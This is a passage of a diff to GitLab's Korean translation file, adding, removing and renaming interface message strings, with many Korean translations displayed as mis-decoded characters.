msgstr "프로ì íŠ¸ ì‚­ì œ|프로ì íŠ¸ 저장소를 제거하지 못했습니다. ìž ì‹œ 후 다시 ì‹œë„하거나 관리ìžì—게 문ì˜í•˜ì„¸ìš”."
@@ -8984,6 +9229,9 @@ msgstr ""
msgid "Deployment|running"
msgstr ""
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9002,6 +9250,9 @@ msgstr ""
msgid "Description"
msgstr "설명"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9038,6 +9289,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9095,6 +9349,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr ""
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9173,15 +9430,9 @@ msgstr ""
msgid "Detect host keys"
msgstr "호스트 키 발견"
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9191,15 +9442,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr "diff 컨í…츠 제한"
@@ -9387,9 +9707,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr "Google Code ì´ë©”ì¼ ì£¼ì†Œì™€ 사용ìžëª…ì„ GitLab으로 가져오는 ë°©ë²•ì„ ì‚¬ìš©ìž ì •ì˜í•˜ì‹œê² ìŠµë‹ˆê¹Œ?"
-
msgid "Dockerfile"
msgstr "Dockerfile"
@@ -9462,9 +9779,6 @@ msgstr ""
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr "코드 다운로드"
@@ -9513,9 +9827,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9621,6 +9941,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr "ì´ìŠˆ 편집"
@@ -9696,6 +10019,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9726,6 +10052,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr ""
@@ -9798,7 +10127,7 @@ msgstr "빈 파ì¼"
msgid "Enable"
msgstr "사용"
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9816,6 +10145,9 @@ msgstr "HTML ì´ë©”ì¼ í™œì„±í™”"
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10167,6 +10499,9 @@ msgstr ""
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10278,6 +10613,9 @@ msgstr "중지 환경"
msgid "Environments|Stopping"
msgstr "중지ë¨"
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10515,9 +10853,6 @@ msgstr "템플릿 로딩 오류."
msgid "Error loading viewer"
msgstr ""
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10554,6 +10889,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10632,6 +10970,9 @@ msgstr ""
msgid "Errors"
msgstr "오류"
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr ""
@@ -10866,6 +11207,9 @@ msgstr ""
msgid "Export as CSV"
msgstr "CSV로 내보내기"
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr ""
@@ -10974,6 +11318,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11109,6 +11456,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11148,6 +11498,9 @@ msgstr "ì´ìŠˆë¥¼ ê°±ì‹ í•˜ëŠ”ë° ì‹¤íŒ¨í•˜ì˜€ìŠµë‹ˆë‹¤, 다시 ì‹œë„í•´ 주십
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11187,12 +11540,18 @@ msgstr ""
msgid "Feature Flags"
msgstr "기능 플래그"
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11359,6 +11718,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11383,9 +11745,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11446,6 +11805,9 @@ msgstr "2ì›”"
msgid "February"
msgstr "2ì›”"
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11488,7 +11850,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11614,12 +11976,6 @@ msgstr ""
msgid "Find file"
msgstr "íŒŒì¼ ì°¾ê¸°"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr "ë‹¤ìš´ë¡œë“œëœ ZIP 파ì¼ì„ 찾고 ì••ì¶•ì„ í•´ì œí•˜ì„¸ìš”."
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11644,9 +12000,6 @@ msgstr "ì£¼ì˜ ì²«ë‚ "
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11692,9 +12045,6 @@ msgstr "FogBugz 가져오기"
msgid "Folder/%{name}"
msgstr ""
-msgid "Follow the steps below to export your Google Code project data."
-msgstr ""
-
msgid "Font Color"
msgstr "글꼴 색"
@@ -11779,6 +12129,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr ".gitlab-ci.ymlì—ì„œ 오류를 발견했습니다:"
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11806,9 +12159,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr "Google Codeì—ì„œ"
-
msgid "From issue creation until deploy to production"
msgstr "ì´ìŠˆ ìƒì„±ì—ì„œ 프로ë•ì…˜ ë°°í¬ê¹Œì§€"
@@ -12295,6 +12645,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12328,6 +12681,9 @@ msgstr "GitLab 사용ìž"
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12538,15 +12894,12 @@ msgstr "뒤로 가기"
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr "%{link_to_google_takeout}ë¡œ ì´ë™í•˜ì‹­ì‹œì˜¤."
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12661,12 +13014,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr "Google Code 가져오기"
-
-msgid "Google Takeout"
-msgstr "Google Takeout"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -12901,6 +13248,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr ""
@@ -13294,12 +13647,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr ""
-msgid "GroupsTree|Create a project in this group."
-msgstr "ì´ ê·¸ë£¹ì— í”„ë¡œì íŠ¸ë¥¼ 만듭니다."
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr "ì´ ê·¸ë£¹ì— í•˜ìœ„ ê·¸ë£¹ì„ ë§Œë“­ë‹ˆë‹¤."
-
msgid "GroupsTree|Edit group"
msgstr "그룹 편집"
@@ -13375,6 +13722,9 @@ msgstr " 헬스 문제가 발견ë˜ì§€ 않았습니다."
msgid "HealthCheck|Unhealthy"
msgstr "비정ìƒ"
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr "안녕하세요!"
@@ -13524,9 +13874,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13668,6 +14015,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr ""
+msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
+msgstr ""
+
msgid "If you did not recently sign in, you should immediately %{password_link_start}change your password%{password_link_end}."
msgstr ""
@@ -13742,12 +14092,6 @@ msgstr "CSV 가져오기"
msgid "Import Projects from Gitea"
msgstr "Giteaì—ì„œ 프로ì íŠ¸ 가져오기"
-msgid "Import all compatible projects"
-msgstr "호환ë˜ëŠ” 모든 프로ì íŠ¸ 가져오기"
-
-msgid "Import all projects"
-msgstr "모든 프로ì íŠ¸ 가져오기"
-
msgid "Import an exported GitLab project"
msgstr "내보낸 GitLab 프로ì íŠ¸ 가져오기"
@@ -13799,9 +14143,6 @@ msgstr "FogBugzì—ì„œ 프로ì íŠ¸ 가져오기"
msgid "Import projects from GitLab.com"
msgstr "GitLab.comì—ì„œ 프로ì íŠ¸ 가져오기"
-msgid "Import projects from Google Code"
-msgstr "Google Codeì—ì„œ 프로ì íŠ¸ 가져오기"
-
msgid "Import repositories from Bitbucket Server"
msgstr "Bitbucket 서버ì—ì„œ 저장소 가져오기"
@@ -13832,6 +14173,9 @@ msgstr ""
msgid "ImportButtons|Connect repositories from"
msgstr ""
+msgid "ImportProjects|%{provider} rate limit exceeded. Try again later"
+msgstr ""
+
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
@@ -13865,6 +14209,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Imported requirements"
+msgstr ""
+
msgid "Improve Issue Boards"
msgstr ""
@@ -13895,9 +14242,6 @@ msgstr ""
msgid "In progress"
msgstr ""
-msgid "In the next step, you'll be able to select the projects you want to import."
-msgstr ""
-
msgid "Incident"
msgstr ""
@@ -14075,9 +14419,6 @@ msgstr "수신 ë©”ì¼"
msgid "Incoming!"
msgstr ""
-msgid "Incompatible Project"
-msgstr "호환ë˜ì§€ 않는 프로ì íŠ¸"
-
msgid "Incompatible options set!"
msgstr ""
@@ -14162,9 +14503,6 @@ msgstr "GitLab Runner 설치"
msgid "Install Runner on Kubernetes"
msgstr "Kubernetesì— Runner 설치"
-msgid "Install a Runner"
-msgstr ""
-
msgid "Install a soft token authenticator like %{free_otp_link} or Google Authenticator from your application repository and use that app to scan this QR code. More information is available in the %{help_link_start}documentation%{help_link_end}."
msgstr ""
@@ -14187,73 +14525,79 @@ msgstr[0] "ì¸ìŠ¤í„´ìŠ¤"
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics"
+msgid "Instance administrators group already exists"
msgstr ""
-msgid "Instance administrators group already exists"
+msgid "InstanceStatistics|Could not load the issues and merge requests chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Canceled"
+msgid "InstanceStatistics|Could not load the pipelines chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the issues and merge requests chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
msgstr ""
-msgid "InstanceAnalytics|Could not load the pipelines chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Groups"
msgstr ""
-msgid "InstanceAnalytics|Failed"
+msgid "InstanceStatistics|Issues"
msgstr ""
-msgid "InstanceAnalytics|Issues"
+msgid "InstanceStatistics|Issues & Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Issues & Merge Requests"
+msgid "InstanceStatistics|Items"
msgstr ""
-msgid "InstanceAnalytics|Items"
+msgid "InstanceStatistics|Merge Requests"
msgstr ""
-msgid "InstanceAnalytics|Merge Requests"
+msgid "InstanceStatistics|Month"
msgstr ""
-msgid "InstanceAnalytics|Month"
+msgid "InstanceStatistics|No data available."
msgstr ""
-msgid "InstanceAnalytics|Pipelines"
+msgid "InstanceStatistics|Pipelines"
msgstr ""
-msgid "InstanceAnalytics|Skipped"
+msgid "InstanceStatistics|Pipelines canceled"
msgstr ""
-msgid "InstanceAnalytics|Succeeded"
+msgid "InstanceStatistics|Pipelines failed"
msgstr ""
-msgid "InstanceAnalytics|There is no data available."
+msgid "InstanceStatistics|Pipelines skipped"
msgstr ""
-msgid "InstanceAnalytics|Total"
+msgid "InstanceStatistics|Pipelines succeeded"
msgstr ""
-msgid "InstanceStatistics|Could not load the projects and groups chart. Please refresh the page to try again."
+msgid "InstanceStatistics|Pipelines total"
msgstr ""
-msgid "InstanceStatistics|Groups"
+msgid "InstanceStatistics|Projects"
msgstr ""
-msgid "InstanceStatistics|Issues"
+msgid "InstanceStatistics|There was an error fetching the cancelled pipelines"
msgstr ""
-msgid "InstanceStatistics|Merge Requests"
+msgid "InstanceStatistics|There was an error fetching the failed pipelines"
msgstr ""
-msgid "InstanceStatistics|No data available."
+msgid "InstanceStatistics|There was an error fetching the issues"
msgstr ""
-msgid "InstanceStatistics|Pipelines"
+msgid "InstanceStatistics|There was an error fetching the merge requests"
msgstr ""
-msgid "InstanceStatistics|Projects"
+msgid "InstanceStatistics|There was an error fetching the skipped pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the successful pipelines"
+msgstr ""
+
+msgid "InstanceStatistics|There was an error fetching the total pipelines"
msgstr ""
msgid "InstanceStatistics|There was an error while loading the groups"
@@ -14292,6 +14636,9 @@ msgstr ""
msgid "Integrations|All details"
msgstr ""
+msgid "Integrations|All projects inheriting these settings will also be reset."
+msgstr ""
+
msgid "Integrations|Comment detail:"
msgstr ""
@@ -14325,7 +14672,16 @@ msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
-msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use instance-level defaults."
+msgid "Integrations|Projects using custom settings will not be affected."
+msgstr ""
+
+msgid "Integrations|Projects using custom settings will not be impacted unless the project owner chooses to use parent level defaults."
+msgstr ""
+
+msgid "Integrations|Reset integration?"
+msgstr ""
+
+msgid "Integrations|Resetting this integration will clear the settings and deactivate this integration."
msgstr ""
msgid "Integrations|Return to GitLab for Jira"
@@ -14343,6 +14699,9 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
+msgid "Integrations|This integration, and inheriting projects were reset."
+msgstr ""
+
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -14364,6 +14723,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Interactive mode"
+msgstr ""
+
msgid "Interested parties can even contribute by pushing commits if they want to."
msgstr "관심있는 íŒŒí‹°ë“¤ì€ ì›í•˜ëŠ” ê³³ì— ì»¤ë°‹ì„ í‘¸ì‹œí•¨ìœ¼ë¡œì¨ ê¸°ì—¬í•  ìˆ˜ë„ ìžˆìŠµë‹ˆë‹¤."
@@ -14439,6 +14801,9 @@ msgstr ""
msgid "Invalid file."
msgstr ""
+msgid "Invalid hash"
+msgstr ""
+
msgid "Invalid import params"
msgstr ""
@@ -14481,6 +14846,9 @@ msgstr ""
msgid "Invalid yaml"
msgstr ""
+msgid "Investigate vulnerability: %{title}"
+msgstr ""
+
msgid "Invitation"
msgstr "초대"
@@ -14505,6 +14873,9 @@ msgstr "그룹 초대"
msgid "Invite member"
msgstr ""
+msgid "Invite team members"
+msgstr ""
+
msgid "Invite teammates (optional)"
msgstr ""
@@ -14550,6 +14921,9 @@ msgstr ""
msgid "InviteMembersModal|Choose a role permission"
msgstr ""
+msgid "InviteMembersModal|Close invite team members"
+msgstr ""
+
msgid "InviteMembersModal|GitLab member or Email address"
msgstr ""
@@ -14559,16 +14933,16 @@ msgstr ""
msgid "InviteMembersModal|Invite team members"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|User not invited. Feature coming soon!"
+msgid "InviteMembersModal|Search for members to invite"
msgstr ""
-msgid "InviteMembersModal|Users were succesfully added"
+msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{group_name} group"
+msgid "InviteMembersModal|You're inviting members to the %{name} %{type}"
msgstr ""
msgid "InviteMembers|Invite team members"
@@ -14676,9 +15050,6 @@ msgstr ""
msgid "Issue Boards"
msgstr "ì´ìŠˆ ë³´ë“œ"
-msgid "Issue actions"
-msgstr ""
-
msgid "Issue already promoted to epic."
msgstr ""
@@ -14742,6 +15113,9 @@ msgstr ""
msgid "IssueAnalytics|Weight"
msgstr ""
+msgid "IssueBoards|An error occurred while setting notifications status."
+msgstr ""
+
msgid "IssueBoards|Board"
msgstr "보드"
@@ -14877,10 +15251,10 @@ msgstr ""
msgid "Iteration|cannot be more than 500 years in the future"
msgstr ""
-msgid "I’m familiar with the basics of project management and DevOps."
+msgid "I’m familiar with the basics of DevOps."
msgstr ""
-msgid "I’m not very familiar with the basics of project management and DevOps."
+msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
@@ -15057,6 +15431,27 @@ msgstr ""
msgid "Jobs"
msgstr "Jobs"
+msgid "Jobs|Are you sure you want to proceed?"
+msgstr ""
+
+msgid "Jobs|Are you sure you want to retry this job?"
+msgstr ""
+
+msgid "Jobs|Create CI/CD configuration file"
+msgstr ""
+
+msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
+msgstr ""
+
+msgid "Jobs|No jobs to show"
+msgstr ""
+
+msgid "Jobs|Use jobs to automate your tasks"
+msgstr ""
+
+msgid "Jobs|You're about to retry a job that failed because it attempted to deploy code that is older than the latest deployment. Retrying this job could result in overwriting the environment with the older source code."
+msgstr ""
+
msgid "Job|Browse"
msgstr "íƒìƒ‰"
@@ -15186,6 +15581,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kroki"
+msgstr ""
+
msgid "Kubernetes"
msgstr "Kubernetes"
@@ -15367,9 +15765,6 @@ msgstr ""
msgid "Last name"
msgstr ""
-msgid "Last name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "Last reply by"
msgstr ""
@@ -15463,6 +15858,9 @@ msgstr "Kubernetesì— ëŒ€í•´ ë” ì•Œì•„ë³´ê¸°"
msgid "Learn more about License-Check"
msgstr ""
+msgid "Learn more about Needs relationships"
+msgstr ""
+
msgid "Learn more about Vulnerability-Check"
msgstr ""
@@ -15490,9 +15888,6 @@ msgstr ""
msgid "Learn more about group-level project templates"
msgstr ""
-msgid "Learn more about job dependencies"
-msgstr ""
-
msgid "Learn more about signing commits"
msgstr ""
@@ -15523,9 +15918,6 @@ msgstr "그룹 떠나기"
msgid "Leave project"
msgstr "프로ì íŠ¸ì—ì„œ 나가기"
-msgid "Leave the \"File type\" and \"Delivery method\" options on their default values."
-msgstr ""
-
msgid "Leave zen mode"
msgstr ""
@@ -15589,9 +15981,6 @@ msgstr ""
msgid "LicenseCompliance|Learn more about %{linkStart}License Approvals%{linkEnd}"
msgstr ""
-msgid "LicenseCompliance|License"
-msgstr ""
-
msgid "LicenseCompliance|License Approvals"
msgstr ""
@@ -15625,18 +16014,9 @@ msgstr ""
msgid "LicenseCompliance|License Compliance detected no new licenses"
msgstr ""
-msgid "LicenseCompliance|License details"
-msgstr ""
-
msgid "LicenseCompliance|License name"
msgstr ""
-msgid "LicenseCompliance|License review"
-msgstr ""
-
-msgid "LicenseCompliance|Packages"
-msgstr ""
-
msgid "LicenseCompliance|Remove license"
msgstr ""
@@ -15652,9 +16032,6 @@ msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
msgstr ""
-msgid "LicenseCompliance|URL"
-msgstr ""
-
msgid "LicenseCompliance|You are about to remove the license, %{name}, from this project."
msgstr ""
@@ -15760,6 +16137,9 @@ msgstr ""
msgid "Limit namespaces and projects that can be indexed"
msgstr ""
+msgid "Limit the number of concurrent operations this secondary node can run in the background."
+msgstr ""
+
msgid "Limited to showing %d event at most"
msgid_plural "Limited to showing %d events at most"
msgstr[0] "최대 %d ì´ë²¤íŠ¸ 만 표시하는 것으로 제한ë©ë‹ˆë‹¤."
@@ -15779,6 +16159,9 @@ msgstr ""
msgid "Link title is required"
msgstr ""
+msgid "Link to an image"
+msgstr ""
+
msgid "Link to go to GitLab pipeline documentation"
msgstr ""
@@ -15983,9 +16366,6 @@ msgstr ""
msgid "Make sure you save it - you won't be able to access it again."
msgstr ""
-msgid "Make sure you're logged into the account that owns the projects you'd like to import."
-msgstr ""
-
msgid "Make this epic confidential"
msgstr ""
@@ -16046,16 +16426,10 @@ msgstr ""
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
-msgid "Map a FogBugz account ID to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a GitLab user"
-msgstr ""
-
-msgid "Map a Google Code user to a full email address"
+msgid "Manually link this issue by adding it to the linked issue section of the %{originating_vulnerability}."
msgstr ""
-msgid "Map a Google Code user to a full name"
+msgid "Map a FogBugz account ID to a GitLab user"
msgstr ""
msgid "Mar"
@@ -16118,7 +16492,7 @@ msgstr ""
msgid "Marked For Deletion At - %{deletion_time}"
msgstr ""
-msgid "Marked this %{noun} as Work In Progress."
+msgid "Marked this %{noun} as a draft."
msgstr ""
msgid "Marked this issue as a duplicate of %{duplicate_param}."
@@ -16130,7 +16504,7 @@ msgstr ""
msgid "Marked to do as done."
msgstr ""
-msgid "Marks this %{noun} as Work In Progress."
+msgid "Marks this %{noun} as a draft."
msgstr ""
msgid "Marks this issue as a duplicate of %{duplicate_reference}."
@@ -16178,6 +16552,9 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
+msgid "Max 100,000 events"
+msgstr ""
+
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -16202,9 +16579,6 @@ msgstr "최대 액세스 수준"
msgid "Max role"
msgstr ""
-msgid "Max size 15 MB"
-msgstr ""
-
msgid "MaxBuilds"
msgstr ""
@@ -16361,7 +16735,10 @@ msgstr ""
msgid "Members|%{time} by %{user}"
msgstr ""
-msgid "Members|%{userName} is currently a LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgid "Members|%{userName} is currently an LDAP user. Editing their permissions will override the settings from the LDAP group sync."
+msgstr ""
+
+msgid "Members|2FA"
msgstr ""
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
@@ -16397,9 +16774,18 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Direct"
+msgstr ""
+
+msgid "Members|Disabled"
+msgstr ""
+
msgid "Members|Edit permissions"
msgstr ""
+msgid "Members|Enabled"
+msgstr ""
+
msgid "Members|Expiration date removed successfully."
msgstr ""
@@ -16409,12 +16795,21 @@ msgstr ""
msgid "Members|Expired"
msgstr ""
+msgid "Members|Filter members"
+msgstr ""
+
+msgid "Members|Inherited"
+msgstr ""
+
msgid "Members|LDAP override enabled."
msgstr ""
msgid "Members|Leave \"%{source}\""
msgstr ""
+msgid "Members|Membership"
+msgstr ""
+
msgid "Members|No expiration set"
msgstr ""
@@ -16433,6 +16828,9 @@ msgstr ""
msgid "Members|Role updated successfully."
msgstr ""
+msgid "Members|Search invited"
+msgstr ""
+
msgid "Members|in %{time}"
msgstr ""
@@ -16484,6 +16882,9 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge commit SHA"
+msgstr ""
+
msgid "Merge commit message"
msgstr ""
@@ -16535,6 +16936,9 @@ msgstr "머지 리퀘스트(MR)는 프로ì íŠ¸ì˜ 변경 ì‚¬í•­ì„ ì œì•ˆí•˜ê³ 
msgid "Merge requests are read-only in a secondary Geo node"
msgstr ""
+msgid "Merge the branch and fix any conflicts that come up"
+msgstr ""
+
msgid "Merge when pipeline succeeds"
msgstr ""
@@ -17089,6 +17493,9 @@ msgstr "마ì¼ìŠ¤í†¤ 목ë¡ì—는 ì„ íƒí•œ 마ì¼ìŠ¤í†¤ì˜ 모든 문제가 í‘œ
msgid "MilestoneCombobox|An error occurred while searching for milestones"
msgstr ""
+msgid "MilestoneCombobox|Group milestones"
+msgstr ""
+
msgid "MilestoneCombobox|Milestone"
msgstr ""
@@ -17194,6 +17601,9 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
